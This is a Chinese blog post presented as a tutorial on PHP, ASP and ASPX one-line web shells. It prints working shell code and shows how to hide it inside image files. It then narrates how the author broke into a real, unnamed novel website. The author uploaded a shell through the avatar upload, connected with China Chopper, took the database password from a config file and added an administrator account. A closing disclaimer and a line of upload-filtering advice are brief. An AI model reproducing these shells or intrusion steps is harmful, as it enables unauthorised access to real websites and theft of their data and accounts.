十一博客-猫奴的窝-子鱼小窝

渗透技术 之 一句话木马

何为一句话木马

一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。

我们可以通过GETPOSTCOOKIE 这三种方式向一个网站提交数据,一句话木马用$GET[' ']**、**$POST[' ']$_COOKIE[' '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。
常见的一些一句话木马
PHP一句话木马

<?php @eval($_POST['PAS']);?> 

asp一句话木马

   <%execute(request("PAS"))%>

aspx一句话木马

  <%@ Page Language="Jscript"%>
  <%eval(Request.Item["PAS])%>

其中eval就是执行命令的函数 pas是链接密码,$_POST['a']就是接收的数据。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。

光说不练假把式#(脸红)

制作一句话木马

  1. 16进制插入
    用010 Editor打开任意一张图片,将上述代码插入右边最底层或最上层后保存。

  1. CMD法

copy 1.jpg/b+1.php 2.jpg
意思是将1.jpg以二进制与1.php合并成2.jpg
那么2.jpg就是图片木马了
参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文件
正确制作后图片正常显示,这就是图片马

  1. photoshop

用PS(photoshop)打开图片,文件→文件简介,插入你需要的木马代码,文件→保存(保存:覆盖源文件 你也可以另存为你想要的其它格式)

个人推荐第二种cmd方法,不用下软件,不会因为操作失误而失败。

踩点

总所周知,做坏事当然是先需要踩点#(赞一个)
一句话木马是利用上传漏洞 比如 用户头像
我找了一个小说站网址就不放了

作案

随便注册一个账号 修改头像 打开开发者工具(F12) 发现这个网站直接可以上传php文件 emmmmm#(喷水)


找到上传后的地址

是时候亮黄瓜了#(献黄瓜) 呸 亮刀
中国菜刀登场 中国菜刀可以说是一句话木马的最佳搭档 (自己去百度补中国菜刀来历#(暗地观察))
打开菜刀 添加站点 如图配置

#(看不见)不出意外 连接成功
可以看出使用的是liunx服务器 到此你就可以自由发挥了#(欢呼)

通过配置文件找到数据库密码

连接下数据库 找下管理员密码 不过现在密码都是密文存储 找到了 也不一定能破解 除非密码特别简单 在网上撞库碰运气
抱着试一下的运气 结果...#(无奈)于是我用我注册账号的密码123456789去撞库 发现是md5两次加密 emmmmm

于是我就直接添加一个管理员账号 23333#(害羞)

去看看登录后台管理瞅瞅

像是一个废弃的网站 看样子管理员也很少登录 而且我在网站里发现了几十个一句话木马....#(投降)有点厉害了
不过他的服务器是日本的 #(暗地观察)搭建个梯子 应该还是可以的

收尾

作案完毕。当然一句话木马还有其他用法 你也可以通过一句话拿到webshell 权限
也可以本地新建一个表单 提交数据到一句话木马

    <html>  
    <body>  
    <form action="ma.php" method="post">  
    <input type="text" name="c" value="phpinfo();">  
    <input type="submit" value="submit">  
    </form>  
    </body>  
    </html>  

总结

一句话木马需要灵活,学渗透灵活的思维也是十分重要。
有攻就有防,攻防相克。php一定要做好过滤系统。一定要处理上传的东西!!!
我在踩点时 试了许多网站 大多数都被网站防火墙拦截。
许多新手站长忽略了,结果就被挂马了#(吐血倒地) php还有许多函数同样可以作为一句话木马。
切记 本片文章只是闹着玩#(看不见) 入侵别人网站是违法的#(害羞)

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »